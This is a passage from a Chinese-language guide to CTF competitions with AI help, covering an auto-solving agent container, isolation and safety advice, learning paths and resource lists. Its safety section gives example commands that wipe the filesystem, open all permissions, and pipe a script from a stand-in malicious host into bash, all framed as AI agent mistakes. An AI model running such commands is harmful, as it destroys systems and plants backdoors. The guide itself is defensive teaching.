CTF_PLATFORM_URL=\u0026#34;\u0026#34; 68ENV CTF_PLATFORM_TOKEN=\u0026#34;\u0026#34; 69 70# 创建启动脚本 71RUN echo \u0026#39;#!/bin/bash\\n\\ 72echo \u0026#34;CTF Auto-Solving Environment\u0026#34;\\n\\ 73echo \u0026#34;==============================\u0026#34;\\n\\ 74echo \u0026#34;API Key: ${ANTHROPIC_API_KEY:0:10}...\u0026#34;\\n\\ 75echo \u0026#34;Platform: $CTF_PLATFORM_URL\u0026#34;\\n\\ 76echo \u0026#34;\u0026#34;\\n\\ 77echo \u0026#34;Starting auto-solving agent...\u0026#34;\\n\\ 78python3 /ctf/auto_agent.py\\n\\ 79\u0026#39; \u0026gt; /ctf/start.sh \u0026amp;\u0026amp; chmod +x /ctf/start.sh 80 81# 默认命令 82CMD [\u0026#34;/ctf/start.sh\u0026#34;] 构建和使用 构建镜像：\n1# 构建镜像 2docker build -t ctf-auto-agent:latest . 3 4# 查看镜像大小 5docker images | grep ctf-auto-agent 运行容器（本地测试）：\n1# 交互式运行 2docker run -it --rm \\ 3 -e ANTHROPIC_API_KEY=\u0026#34;your-api-key\u0026#34; \\ 4 -e CTF_PLATFORM_URL=\u0026#34;https://ctf.example.com\u0026#34; \\ 5 -v $(pwd)/challenges:/ctf/challenges \\ 6 ctf-auto-agent:latest \\ 7 /bin/bash 8 9# 后台运行自动解题 10docker run -d \\ 11 --name ctf-solver \\ 12 -e ANTHROPIC_API_KEY=\u0026#34;your-api-key\u0026#34; \\ 13 -e CTF_PLATFORM_URL=\u0026#34;https://ctf.example.com\u0026#34; \\ 14 -e CTF_PLATFORM_TOKEN=\u0026#34;your-token\u0026#34; \\ 15 ctf-auto-agent:latest 16 17# 查看日志 18docker logs -f ctf-solver 比赛现场快速部署：\n1# 方案1：从Docker Hub拉取（提前推送） 2docker pull yourusername/ctf-auto-agent:latest 3docker run -d -e ANTHROPIC_API_KEY=\u0026#34;xxx\u0026#34; yourusername/ctf-auto-agent 4 5# 方案2：导出镜像文件（U盘携带） 6# 赛前准备： 7docker save ctf-auto-agent:latest | gzip \u0026gt; ctf-agent.tar.gz 8 9# 赛场快速加载： 10docker load \u0026lt; ctf-agent.tar.gz 11docker run -d -e ANTHROPIC_API_KEY=\u0026#34;xxx\u0026#34; ctf-auto-agent:latest 推荐给AI智能体搭建一个网页版的UI，方便使用和查看智能体状态\n安全建议：虚拟机隔离 为什么不在物理机安装？ ⚠️ AI的\u0026#34;幻觉\u0026#34;风险： 真实案例： AI: \u0026#34;清理临时文件...\u0026#34; 执行: rm -rf /* （本意是 rm -rf /tmp/*） 结果: 💥 整个系统被删除 AI: \u0026#34;修复权限问题...\u0026#34; 执行: chmod -R 777 / 结果: 💥 系统安全性崩溃 AI: \u0026#34;安装依赖...\u0026#34; 执行: curl http://malicious.com/script.sh | bash 结果: 💥 植入后门 虽然现代AI很聪明，但： - 仍会出现指令理解偏差 - 对系统的破坏性操作缺乏足够警觉 - 在自动化模式下，人工来不及拦截 推荐方案：虚拟机 + Docker双保险 方案1：本地VMware/VirtualBox\n1. 安装虚拟机（Ubuntu/Debian） 2. 虚拟机内安装Docker 3. Docker运行CTF自动化环境 保护层级： 物理机 → 虚拟机 → Docker容器 → AI执行 即使AI删库，最多炸掉虚拟机，快照恢复即可 方案2：云虚拟机（AWS/阿里云）\n优势： - 随时可以重建 - 不占用本地资源 - 网络环境更纯净（某些题目需要） 成本： - 按需付费，比赛期间开启 - 建议选择最低配置（2C4G够用） 安全配置清单 Docker容器安全限制：\n1# 限制资源使用 2docker run \\ 3 --cpus=\u0026#34;2.0\u0026#34; \\ # 最多用2个CPU 4 --memory=\u0026#34;4g\u0026#34; \\ # 最多用4GB内存 5 --pids-limit=100 \\ # 最多100个进程 6 --read-only \\ # 根文件系统只读 7 --tmpfs /tmp \\ # 临时文件用tmpfs 8 --network=none \\ # 初期不给网络（防止外连） 9 ctf-auto-agent 10 11# 使用非root用户 12docker run --user 1000:1000 ... 13 14# 限制能力（Capabilities） 15docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... MCP权限限制：\n1{ 2 \u0026#34;mcpServers\u0026#34;: { 3 \u0026#34;filesystem\u0026#34;: { 4 \u0026#34;command\u0026#34;: \u0026#34;npx\u0026#34;, 5 \u0026#34;args\u0026#34;: [ 6 \u0026#34;-y\u0026#34;, 7 \u0026#34;@modelcontextprotocol/server-filesystem\u0026#34;, 8 \u0026#34;/ctf/workspace\u0026#34; // 只允许访问特定目录 9 ], 10 \u0026#34;permissions\u0026#34;: { 11 \u0026#34;read\u0026#34;: true, 12 \u0026#34;write\u0026#34;: true, 13 \u0026#34;execute\u0026#34;: false // 不允许执行文件 14 } 15 } 16 } 17} 实战建议与最佳实践 本地笔记本配置推荐 【推荐配置】 硬件： - CPU: 4核以上 - 内存: 16GB+（虚拟机分8GB） - 硬盘: SSD 100GB空闲空间 软件栈： 物理机（Windows/Mac/Linux） └── VMware/VirtualBox └── Ubuntu 22.04 虚拟机 └── Docker └── CTF Auto Agent容器 └── Claude MCP + 工具链 网络： - 虚拟机用NAT模式（可访问外网） - Docker容器按需开启网络 比赛现场策略 赛前准备（在家完成）： ✅ 构建Docker镜像 ✅ 导出为tar.gz文件 ✅ U盘/云盘双备份 ✅ 本地测试通过 到达赛场： ✅ 检查虚拟机是否可用 ✅ 测试网络连通性 ✅ 加载Docker镜像（\u0026lt;5分钟） ✅ 配置API Key和Token ✅ 运行健康检查脚本 比赛中： ✅ 监控AI日志（docker logs -f） ✅ 人工检查关键操作（提交前） ✅ 定期快照虚拟机 ✅ 遇到bug立刻切换到人工模式 赛后： ✅ 导出日志和对话记录 ✅ 保存Docker容器状态 ✅ 整理AI的解题过程 MCP学习总结 适合学习MCP的人群 ✅ 推荐学习： - 参加过5+场CTF比赛 - 熟练使用普通AI辅助解题 - 有Python/Docker基础 - 想要自动化重复性工作 - 对新技术有热情 ⚠️ 暂时不推荐： - CTF完全新手 - 没时间深入学习（\u0026lt;1周） - 只为了24小时速成 - 没有编程基础 学习路径图 阶段1：普通AI辅助（现在就开始） ↓ 完成3-5场比赛 阶段2：工具链优化（批量脚本、笔记库） ↓ 发现重复性工作痛点 阶段3：MCP入门（配置基础MCP服务器） ↓ 1-2周学习 阶段4：自动化实践（半自动解题） ↓ 多次比赛验证 阶段5：完全自动化（纯AI比赛） ↓ 长期优化 阶段6：开源贡献（分享工具和经验） 未来展望 MCP可能带来的变化： 短期（1年内）： - 更多比赛支持\u0026#34;AI赛道\u0026#34; - MCP工具生态更完善 - 配置难度降低 中期（2-3年）： - 纯AI比赛成为主流之一 - 人类选手 + AI Agent混合赛制 - 自动化解题成为基础技能 长期（5年+）： - CTF从\u0026#34;人类竞赛\u0026#34;到\u0026#34;AI训练场\u0026#34; - 重点转向AI对抗和防御 - 新的题型设计（专门考验AI） 对CTF选手的启示： ✅ 拥抱AI，学会与AI协作 ✅ 关注自动化，提升效率 ✅ 但不要完全依赖，人类直觉仍然重要 本章总结：\nMCP现状： ✅ 技术很强大，潜力巨大 ✅ 适合自动化和纯AI比赛 ⚠️ 配置复杂，学习曲线陡 ⚠️ 24小时速成不现实 本指南的定位： ✅ 让你知道MCP存在 ✅ 理解它的应用场景 ✅ 给出学习路径 ❌ 不期望立刻掌握 推荐策略： 1. 现在：专注于用好普通AI（Claude/GPT） 2. 完成几场比赛后：考虑学习MCP 3. 有自动化需求时：深入研究 4. 长期目标：构建自己的AI Agent 记住： 工具是辅助，思维才是核心 AI再强，也需要人类的判断和创造力 小贴士：\nMCP很酷,但不是必需品,普通AI已经够用 虚拟机+Docker双保险,防止AI\u0026quot;删库跑路\u0026quot; 纯AI比赛是未来趋势,但现在参加的不多 学习MCP的最佳时机:做过10+场CTF之后 Docker镜像提前准备好,比赛现场快速部署 记住:24小时速成的目标是\u0026quot;能上场\u0026quot;,不是\u0026quot;成为大师\u0026quot; 六、总结：从速成到精通 24小时能达到的水平 现实预期：从\u0026quot;看不懂\u0026quot;到\u0026quot;能参与\u0026quot; ✅ 你能做到的： 知识层面： - 理解CTF五大方向的基本概念 - 知道每个方向用什么AI、什么工具 - 能看懂简单题目的思路 - 掌握基本的AI提问技巧 实战能力： - 独立解决Crypto签到题（编码转换类） - 在AI辅助下完成Web基础题（简单SQL注入/XSS） - 使用AI分析Misc题目（图片/压缩包） - 能读懂AI给的代码并运行 - 完成一场比赛的5-10道简单题 工具使用： - 注册并熟练使用2-3个AI平台 - 掌握浏览器开发者工具基础 - 会用Burp Suite抓包（AI指导下） - 了解基本的命令行操作 心态建设： - 不再对CTF感到完全迷茫 - 知道遇到问题该问AI什么 - 能区分\u0026#34;暂时做不出\u0026#34;和\u0026#34;永远做不出\u0026#34; - 有继续学习的方向和动力 ❌ 你暂时做不到的： - 独立解决中等难度题目（需要积累） - 快速识别复杂的漏洞类型 - 手写复杂的Exploit脚本（需要理解原理） - 在没有AI的情况下完成大部分题目 - 成为队伍的主力得分手 - 稳定进入比赛前50%排名 水平对照表 能力维度 24小时速成后 3个月实战后 1年持续学习后 签到题 ✅ 能解 ✅ 秒解 ✅ 闭眼解 简单题 ⚠️ AI辅助能解 ✅ 独立能解 ✅ 多种解法 中等题 ❌ 看不懂 ⚠️ AI辅助能解 ✅ 独立能解 难题 ❌ 完全卡死 ❌ 理解思路但做不出 ⚠️ AI辅助能解 AI提问 ⚠️ 知道要问什么 ✅ 能问出关键问题 ✅ 多轮追问直到解决 工具使用 ⚠️ 会用基础功能 ✅ 熟练使用 ✅ 自己写脚本 知识体系 ❌ 零散 ⚠️ 初步建立 ✅ 体系完整 AI工具使用的注意事项 信息安全意识（非常重要！） ⚠️ 绝对不能做的事： 1. 把真实的凭证发给AI ❌ 真实的密码/Token/API密钥 ❌ 个人身份证号/银行卡号 ❌ 公司内部代码/文档 ❌ 私密的聊天记录/照片 2. 在公共AI平台泄露敏感信息 ❌ 公司项目的漏洞细节 ❌ 未公开的0day漏洞 ❌ 真实系统的配置信息 ❌ 比赛flag（比赛期间） 3. 盲目执行AI给的代码 ❌ 不看就复制粘贴运行 ❌ 在生产环境测试危险命令 ❌ 给AI系统管理员权限 4. 过度信任AI的判断 ❌ AI说\u0026#34;这个网站安全\u0026#34;就点进去 ❌ AI推荐的工具不检查就下载 ❌ AI生成的Payload直接用在真实系统 ✅ 安全最佳实践： 数据脱敏： - 示例数据代替真实数据 - \u0026#34;假设密码是123456\u0026#34;而不是给真密码 - 用占位符：\u0026#34;your-api-key-here\u0026#34; 代码审查： - AI给的脚本先看懂再运行 - 检查是否有危险命令（rm -rf / curl恶意网站） - 在虚拟机/容器里测试 权限控制： - 不要给AI系统root权限 - Docker容器用最小权限运行 - 敏感操作手动确认 平台选择： - 比赛期间用本地模型（如果可以） - 敏感代码用私有化部署的AI - 公开比赛的题目可以问公共AI 学习vs依赖的平衡（核心矛盾） ⚠️ 过度依赖的危险信号： 1. 完全不思考 - 看到题目第一反应是复制给AI - AI说什么就信什么，不验证 - 不尝试自己理解，只要答案 2. 丧失学习动力 - \u0026#34;反正AI会，我不用学\u0026#34; - 遇到没AI的场景就完全不会 - 面试/考试被打回原形 3. 能力退化 - 简单的命令都记不住 - 写过的代码再遇到还是不会 - 工具用法每次都要问AI 4. 思维僵化 - 只会按AI的思路做 - 没了AI就没有创造力 - 无法独立分析新问题 ✅ 健康的使用方式： 【初期（第1-10道题）】 AI做80%，你做20% - AI给思路和代码 - 你负责理解和运行 - 重点：理解\u0026#34;为什么这样做\u0026#34; 【成长期（第11-50道题）】 AI做50%，你做50% - 你先尝试，卡住了问AI - AI提示思路，你自己实现 - 重点：培养独立解题能力 【成熟期（第51-100道题）】 AI做20%，你做80% - 你主导解题，AI辅助 - 遇到新知识点问AI - 重点：形成自己的方法论 【精通期（100+道题）】 AI做辅助，你做决策 - AI是顾问，不是主脑 - 用AI验证自己的想法 - 重点：超越AI的思维 记住： 目标是\u0026#34;借助AI学会\u0026#34;，而不是\u0026#34;依赖AI完成\u0026#34; 比赛规则遵守（职业道德） ✅ 合规使用AI： 1. 明确允许的情况 - 比赛规则明确说\u0026#34;可以使用AI\u0026#34; - 要求在WP中附上AI对话 - 鼓励使用AI工具（如腾讯黑客松） 2. 灰色地带的处理 - 规则没明说，但也没禁止 → 保守使用 - 只用AI学习原理，不直接抄答案 - 主要靠自己，AI只做辅助 3. WP诚实标注 - 哪些步骤是AI帮忙的，要说明 - 附上关键的AI对话记录 - 不要假装完全是自己做的 ❌ 违规使用AI： 1. 明确禁止的场景 - 规则明确说\u0026#34;不得使用AI\u0026#34; - 考核型比赛（招聘/选拔） - 学术考试/作业 2. 不正当竞争 - 用AI批量攻击靶机（DDoS） - AI自动爆破其他队的服务 - 用AI生成大量垃圾提交 3. 隐瞒使用 - 明明用了AI，WP里不提 - 把AI的代码说成自己写的 - 用AI作弊后装作独立完成 ⚠️ 后果： - 成绩作废 - 禁赛处理 - 名誉受损 - 失去招聘/保研机会 💡 判断标准： 问自己三个问题： 1. 规则允许吗？（合规性） 2. 如实报告吗？（诚信性） 3. 主要靠自己吗？（能力性） 三个都是YES → 放心用 有一个是NO → 谨慎使用或不用 记住： AI是学习工具，不是作弊工具 用AI提升能力，而不是掩盖无能 后续提升方向 深入学习各模块知识 Crypto方向：\n第1阶段（1-2周）： - 系统学习编码转换（Base系列/URL/HTML实体） - 古典密码（凯撒/维吉尼亚/栅栏/培根） - 常见哈希算法（MD5/SHA/CRC） 第2阶段（1-2个月）： - 对称加密（AES/DES/RC4/TEA） - 非对称加密（RSA基础） - 数学基础（模运算/欧拉函数） 第3阶段（3-6个月）： - RSA攻击方法（小指数/共模/Coppersmith） - 椭圆曲线密码学 - 流密码/分组密码深入 学习资源： - 《图解密码技术》（入门） - CTF Wiki - Crypto篇 https://ctf-wiki.org/crypto/introduction/ Web方向：\n第1阶段（2-3周）： - SQL注入（万能密码/Union/报错/盲注） - XSS（反射/存储/DOM） - 文件上传绕过 第2阶段（2-3个月）： - PHP反序列化 - SSRF/XXE - 代码审计基础 - JWT/OAuth漏洞 第3阶段（6个月+）： - Java反序列化 - Python沙箱逃逸 - Node.js原型链污染 - 复杂业务逻辑漏洞 学习资源： - OWASP Top 10 - PortSwigger Web Security Academy - HackTheBox / VulnHub靶场 Reverse方向：\n第1阶段（1个月）： - 汇编语言基础（x86/x64） - C语言逆向 - IDA/Ghidra工具使用 第2阶段（3-6个月）： - 常见算法识别（TEA/RC4/Base64） - 反调试技术 - 简单壳识别 第3阶段（6个月+）： - 虚拟机保护（VM） - 混淆还原 - Android逆向 - Windows驱动逆向 学习资源： - 《逆向工程权威指南》 - 看雪论坛 - Reversing.kr练习平台 Pwn方向：\n第1阶段（2个月）： - C/C++内存布局 - 栈溢出基础（ret2text/ret2shellcode） - GDB调试技巧 第2阶段（6个月）： - ROP链构造 - 格式化字符串漏洞 - Canary/NX/PIE绕过 - ret2libc 第3阶段（1年+）： - 堆利用（fastbin/tcache/unsorted bin） - 内核Pwn - QEMU逃逸 - V8/浏览器漏洞 学习资源： - 《Hacking: The Art of Exploitation》 - pwn.college - how2heap项目 Misc方向：\n持续积累： - 常见隐写工具熟练使用 - Wireshark流量分析 - 取证工具（Volatility/Autopsy） - 各种编码快速识别 - OSINT信息收集 学习方式： - 没有系统教材，靠刷题积累 - 遇到新题型立刻记录 - 建立自己的工具库和笔记 掌握更多AI高级用法 提示词工程进阶：\n初级提示词（你现在的水平）： \u0026#34;这道题怎么做？\u0026#34; \u0026#34;帮我写个脚本\u0026#34; 中级提示词（目标水平）： \u0026#34;这道题是【类型】，我已经尝试了【方法】但遇到【问题】， 请分析可能的原因并提供【具体步骤】\u0026#34; 高级提示词（专家水平）： 使用思维链（Chain of Thought）： \u0026#34;让我们一步步分析： 1. 首先识别题目类型：【观察】 2. 然后分析已知信息：【列举】 3. 接下来推断攻击思路：【推理】 4. 最后制定具体步骤：【计划】 请按这个流程帮我分析\u0026#34; 学习资源： - OpenAI Prompt Engineering Guide - Anthropic Prompting Documentation - Learn Prompting网站 多AI协作策略：\n场景1：交叉验证 - Claude分析代码 → 千问复核 → Gemini第三方意见 - 三个AI结论一致 → 高可信度 - 三个AI意见不同 → 人工判断或继续追问 场景2：功能分工 - Claude：逆向分析、代码理解（最强） - ChatGPT：创意思路、多角度分析 - 千问：中文资料、本土化问题 - Gemini：快速生成、大量数据处理 场景3：接力解题 - AI1提供初步分析 - 把AI1的结果给AI2深化 - 把AI2的结果给AI3验证 - 最终人工综合判断 AI辅助学习体系：\n日常学习： - 遇到不懂的概念立刻问AI - 让AI设计学习路径 - 用AI生成练习题，靶场（比单纯解题更能深刻理解漏洞原理） 刷题复盘： - 做完题让AI总结知识点 - AI帮你关联相似题目 - AI生成这类题的解题模板 - AI预测可能的衍生变化 知识内化： - 用AI把碎片知识整理成体系 - AI生成思维导图 - AI制作记忆卡片（Anki） - AI设计阶段性测试 构建个人知识库（终极目标） 知识库架构（升级版）：\n📁 CTF-Master-Knowledge-Base/ │ ├── 📁 00-Dashboard/ # 仪表盘 │ ├── 📄 学习进度追踪.md # 进度可视化 │ ├── 📄 技能树评估.md # 各方向能力评分 │ ├── 📄 刷题统计.md # 题目数量/难度分布 │ └── 📄 月度总结.md # 每月复盘 │ ├── 📁 01-Competitions/ # 比赛记录（原有） │ └── ... │ ├── 📁 02-Practice/ # 练习题（原有） │ └── ... │ ├── 📁 03-Knowledge/ # 知识笔记（扩展） │ ├── 📁 原理讲解/ │ │ ├── 📄 栈溢出原理.md │ │ ├── 📄 RSA数学基础.md │ │ └── ... │ ├── 📁 解题套路/ │ │ ├── 📄 SQL注入套路总结.md │ │ ├── 📄 常见编码识别流程.md │ │ └── ... │ ├── 📁 工具使用/ │ │ ├── 📄 IDA Pro使用技巧.md │ │ ├── 📄 Burp Suite完全指南.md │ │ └── ... │ └── 📁 漏洞复现/ │ ├── 📄 CVE-2024-XXXX复现.md │ └── ... │ ├── 📁 04-Tools/ # 工具和脚本（扩展） │ ├── 📁 auto-scripts/ # 自动化脚本 │ │ ├── 📄 题目下载器.py │ │ ├── 📄 编码批量转换.py │ │ └── ... │ ├── 📁 templates/ # 代码模板 │ │ ├── 📄 pwntools_template.py │ │ ├── 📄 crypto_solver_template.py │ │ └── ... │ └── 📁 oneliners/ # 常用单行命令 │ └── 📄 常用命令速查.md │ ├── 📁 05-Resources/ # 学习资源（原有） │ └── ... │ ├── 📁 06-Templates/ # 模板文件（原有） │ └── ... │ ├── 📁 07-AI-Prompts/ # AI提示词库（新增） │ ├── 📄 Crypto提示词.md │ ├── 📄 Web提示词.md │ ├── 📄 Reverse提示词.md │ └── 📄 通用提示词.md │ ├── 📁 08-Mind-Maps/ # 思维导图（新增） │ ├── 🎨 CTF知识体系.xmind │ ├── 🎨 Web安全脑图.png │ └── ... │ └── 📁 09-Archived/ # 归档（新增） └── 过时或不再使用的笔记 知识库维护节奏：\n每日（5-10分钟）： - 记录今天刷的题（快速笔记） - 保存AI对话（如果有用） - 更新进度追踪 每周（1-2小时）： - 整理本周笔记，补充细节 - 把快速笔记扩展为完整WP - 提炼知识点，更新专题笔记 - 运行索引生成脚本 每月（2-3小时）： - 月度总结：回顾学到了什么 - 技能评估：哪些方向进步了 - 查漏补缺：哪些知识点还薄弱 - 知识重构：整理重复/过时内容 每季度（半天）： - 大扫除：清理不用的笔记 - 重新规划：下季度学习目标 - 工具升级：更新脚本和模板 - 备份导出：防止数据丢失 知识库高级玩法：\nDataview自动化（Obsidian插件）： 自动生成各种统计表格： - \u0026#34;我做过的所有Crypto题\u0026#34; - \u0026#34;难度≥3星且未解决的题目\u0026#34; - \u0026#34;最近30天的刷题记录\u0026#34; - \u0026#34;标签为#栈溢出的所有笔记\u0026#34; Excalidraw画图： - 画ROP链示意图 - 画内存布局 - 画漏洞利用流程 - 画知识关联图谱 Git版本控制： - 整个知识库用Git管理 - 每周commit一次 - 可以看到自己的成长轨迹 - 多设备同步（GitHub私有仓库） 本地AI检索（RAG）： - 用LangChain处理Markdown - 向量化所有笔记 - 本地Ollama推理 - \u0026#34;我记得做过类似题...\u0026#34;立刻搜到 推荐资源 CTF学习平台（从易到难） 新手友好：\n1. BUUCTF（buuoj.cn） - 中文平台，题目丰富 - 按方向分类，难度标注清晰 - 有WP区，卡住可以看 推荐：Web、Crypto方向入门 2. 攻防世界（adworld.xctf.org.cn） - 新手区题目质量高 - 闯关模式，循序渐进 - 官方题解详细 推荐：全方向基础训练 3. PicoCTF（picoctf.org） - 面向学生的CTF - 题目设计友好，有教育性 - 英文平台，锻炼阅读 推荐：综合能力培养 4. 好靶场（loveli.com.cn） - 国内优质靶场平台 - 提供真实渗透环境 - 在线虚拟机，无需本地搭建 - 适合Web安全实战训练 推荐：Web渗透练习 进阶练习：\n5. CTFHub（ctfhub.com） - 技能树体系 - Web方向题目多 - 有靶场环境 推荐：Web深入学习 6. CTFshow（ctf.show） - 周赛活跃 - 题目新颖 - 社区氛围好 推荐：保持手感 7. HackTheBox（hackthebox.com） - 真实渗透环境 - 难度较高 - 国际化平台 推荐：Pwn、Reverse进阶 8. VulnHub（vulnhub.com） - 虚拟机镜像下载 - 本地搭建靶机 - 真实系统环境 - 完整渗透流程 推荐：综合渗透练习 9. TryHackMe（tryhackme.com） - 引导式学习路径 - 在线虚拟机环境 - 从基础到进阶 - 证书系统完善 推荐：系统化学习 10. Root-Me（root-me.org） - 欧洲知名平台 - 题目分类细致 - 难度梯度合理 - 支持多语言 推荐：全方向练习 专项训练：\nWeb安全： - WebGoat（OWASP项目） - Web漏洞教学平台 - 互动式课程 - 本地部署 - DVWA（Damn Vulnerable Web Application） - 经典Web漏洞靶场 - 多种难度级别 - 开源免费 - bWAPP（Buggy Web Application） - 100+个漏洞场景 - 覆盖OWASP Top 10 - 详细文档 - Pikachu漏洞练习平台 - 国产漏洞靶场 - 中文环境友好 - 涵盖常见漏洞类型 Pwn/Reverse： - pwnable.kr - Pwn方向专精 - 韩国顶级平台 - 难度递进 - pwnable.tw - 台湾Pwn平台 - 高质量题目 - 社区活跃 - Reversing.kr - 逆向专项训练 - 各种保护机制 - 循序渐进 - Crackmes.one - 逆向练习题库 - 用户上传题目 - 难度多样 内存取证： - MemLabs（GitHub） - 内存取证练习 - Volatility实战 - 免费下载 密码学： - CryptoHack（cryptohack.org） - 密码学专项平台 - 互动式课程 - 从零到精通 - 强烈推荐！ 高手竞技：\n11. XCTF（xctf.org.cn） - 国内顶级赛事平台 - 往届比赛题库 - 选拔赛资格 推荐：冲击国赛 12. CTFtime（ctftime.org） - 全球CTF日历 - 战队排名 - 比赛信息聚合 推荐：关注国际赛事 13. 0xGame（https://www.0xgame.com/） - 清华大学主办 - 新生赛友好 - 题目质量高 推荐：学生向比赛 14. i春秋（ichunqiu.com） - 在线课程+靶场 - 企业级培训 - 认证体系 推荐：职业化路线 靶场搭建（本地练习）：\nDocker一键部署： - Vulhub - 各种漏洞环境 - Docker快速搭建 - GitHub开源 - VulnStack - 内网渗透靶场 - 红日安全团队 - 真实企业环境 - Vulfocus - 漏洞集成平台 - Web界面管理 - 一键启动 虚拟机镜像： - Metasploitable 2/3 - 故意留漏洞的Linux - Metasploit练习 - 经典靶机 - OWASP BWA（Broken Web Apps） - 多个Web靶场集合 - 一个虚拟机搞定 - 全面覆盖 平台选择建议：\n按学习阶段选择： 【第1个月】（新手期） 主攻：BUUCTF + 攻防世界 辅助：好靶场（Web方向） 目标：完成新手区所有题目 【第2-3个月】（成长期） 主攻：CTFHub + CTFshow 辅助：CryptoHack（Crypto方向） pwnable.kr（Pwn方向） 目标：能做简单-中等难度题 【第4-6个月】（进阶期） 主攻：HackTheBox + TryHackMe 辅助：VulnHub本地靶场 参加：周赛、月赛保持手感 目标：能独立完成中等题 【6个月+】（高手期） 关注：CTFtime国际赛事 练习：专项靶场+历届真题 参加：XCTF、强网杯等国赛 目标：冲击奖项、组建战队 按方向选择： Web安全： 好靶场 → DVWA → CTFHub → HackTheBox Pwn/Reverse： BUUCTF → pwnable.kr → pwnable.tw → CTFtime赛事 Crypto： BUUCTF → CryptoHack → 攻防世界 → 专项比赛 Misc： BUUCTF → 攻防世界 → CTFshow → 综合比赛 综合训练： TryHackMe（最系统） Root-Me（最全面） HackTheBox（最真实） 平台使用技巧：\n💡 高效刷题策略： 1. 不要贪多 - 专注1-2个主力平台 - 其他平台作为补充 - 题目质量\u0026gt;数量 2. 按难度递进 - 先把简单题全做完 - 再挑战中等题 - 别一开始就碰难题 3. 分类专项突破 - 一周专攻一个方向 - 同类题目集中做 - 形成肌肉记忆 4. 做题笔记必记 - 用Obsidian记录 - 包含题目+WP+知识点 - 定期回顾复习 5. 靶场环境利用 - 有在线环境优先用 - 本地搭建作备选 - 练完记得关闭容器 6. 参加定期比赛 - 周赛保持手感 - 月赛检验水平 - 年度大赛冲奖 免费 vs 付费：\n完全免费： ✅ BUUCTF（题目全免费） ✅ 攻防世界（核心功能免费） ✅ CryptoHack（完全开源） ✅ VulnHub（镜像免费下载） ✅ Vulhub（开源Docker） ✅ pwnable系列（免费） 部分免费： ⚠️ HackTheBox（免费版功能有限，VIP $10/月） ⚠️ TryHackMe（免费版够用，Premium $10.99/月） ⚠️ CTFHub（基础免费，会员额外题目） ⚠️ i春秋（部分课程收费） 完全付费： 💰 某些企业级培训平台 💰 认证考试（OSCP/OSWE等） 新手建议： - 前3个月只用免费平台 - 免费平台题目够刷1年+ - 确定方向后再考虑付费 - 学生可申请教育优惠 平台访问问题：\n国内平台： ✅ 直接访问，无需翻墙 - BUUCTF、攻防世界、CTFHub - CTFshow、i春秋、好靶场 国外平台： ⚠️ 可能需要翻墙或较慢 - HackTheBox（需要VPN） - TryHackMe（速度一般） - CryptoHack（GitHub Pages，可能慢） 解决方案： 1. 优先使用国内平台 2. 国外平台配合镜像加速 3. VulnHub镜像可在国内云盘找 4. 或使用国内VPS中转 AI提示词工程教程 入门级：\n📘 Learn Prompting（中文） 网址：https://www.learnprompting.org/zh-Hans/docs/intro 特点：系统化教程，从零开始 推荐章节：基础、中级技巧、应用 📘 OpenAI Prompt Engineering Guide 网址：https://platform.openai.com/docs/guides/prompt-engineering 特点：官方权威，案例丰富 语言：英文（AI辅助翻译） 📘 Anthropic Prompting Guide（Claude专用） 网址：https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview 特点：Claude最佳实践 推荐：必读，Claude提问必备 进阶级：\n📘 Prompt Engineering Guide（GitHub） 网址：https://github.com/dair-ai/Prompt-Engineering-Guide 特点：技术深度，论文级 推荐：理解原理 📘 Mr. Ranedeer AI Tutor（示例） 网址：搜索\u0026#34;Mr Ranedeer prompt\u0026#34; 特点：超长提示词案例 学习：如何设计复杂提示词 📺 YouTube频道推荐： - \u0026#34;AI Explained\u0026#34;（提示词技巧） - \u0026#34;Matt Wolfe\u0026#34;（AI工具评测） - \u0026#34;All About AI\u0026#34;（案例教学） 实战技巧：\n💡 向AI学习提示词： \u0026#34;我想学习如何更好地向你提问，请： 1. 分析我刚才的提问有什么问题 2. 给我一个改进版的提问 3. 解释为什么改进版更好 4. 给我5个类似场景的提问模板 针对CTF场景，重点教我如何： - 描述问题更清晰 - 提供关键信息 - 引导你一步步思考 - 多轮追问深入\u0026#34; AI会成为你的提示词老师！ 技术社区与博客 中文社区：\n🌐 看雪论坛（pediy.com） - 高质量技术帖 - 大佬云集 🌐 吾爱破解（52pojie.cn） - 逆向技术讨论 - 工具分享 - 新手友好 🌐 先知社区（xz.aliyun.com） - Web安全为主 - 漏洞分析 - 厂商博客 🌐 FreeBuf（freebuf.com） - 安全资讯 - 技术文章 - 行业动态 🌐 安全客（anquanke.com） - 综合性安全媒体 - 活动信息 - 技术专栏 英文社区（必关注）：\n🌐 GitHub（github.com） - CTF工具源码 - WP仓库 - 开源项目 🌐 Reddit（reddit.com） - r/netsec（网络安全） - r/ReverseEngineering（逆向） - r/AskNetsec（问答） - r/ClaudeAI（Claude讨论） 🌐 Stack Overflow（stackoverflow.com） - 技术问答 - 代码调试 - 工具使用 🌐 HackerOne / Bugcrowd - 漏洞赏金平台 - 真实漏洞案例 - 学习实战思路 个人博客推荐：\n📝 国内博主： - \u0026#34;离别歌\u0026#34;（Web安全） https://www.leavesongs.com/ - \u0026#34;Nu1L Team\u0026#34;（战队博客） https://www.nu1l.com/ - 狼组安全团队公开知识库 https://wiki.wgpsec.org/ 📝 国外博主： - LiveOverflow（YouTube+博客） - John Hammond（CTF教学） - IppSec（HackTheBox WP） 💡 如何发现好博客： 1. 遇到好WP，关注作者 2. CTFtime队伍主页有链接 3. 问AI：\u0026#34;推荐CTF技术博客\u0026#34; 4. Twitter关注#CTF标签 推荐书籍（系统学习） 我自己是搜网络教程，在线文档学习的，很少买大部头的数，各位自己按需问AI推荐，找电子版，不要买纸质版，注意形成自己的笔记。\n结语：AI是工具，思维是核心 AI时代的CTF：机遇与挑战并存 ✨ AI带来的机遇： 1. 降低入门门槛 - 以前：看一周教程才能入门 - 现在：AI带你24小时速成 2. 加速学习过程 - 以前：卡一道题可能卡几天 - 现在：AI几分钟给思路 3. 拓展能力边界 - 以前：只能专精1-2个方向 - 现在：AI辅助下能涉猎更多 4. 提升竞争力 - 会用AI的人 \u0026gt; 不会用AI的人 - 善用AI的人 \u0026gt; 滥用AI的人 ⚠️ AI带来的挑战： 1. 能力虚高的陷阱 - AI帮你做题 ≠ 你会做题 - 比赛可能没网/没AI - 面试要现场手写代码 2. 思维依赖的风险 - 失去独立思考能力 - 遇到新问题束手无策 - 创造力被AI限制 3. 竞争加剧 - 所有人都在用AI - 门槛降低 = 竞争更激烈 - 需要比别人用得更好 4. 规则争议 - 哪些比赛可以用AI？ - 用到什么程度算公平？ - 如何证明自己的能力？ 人类vs 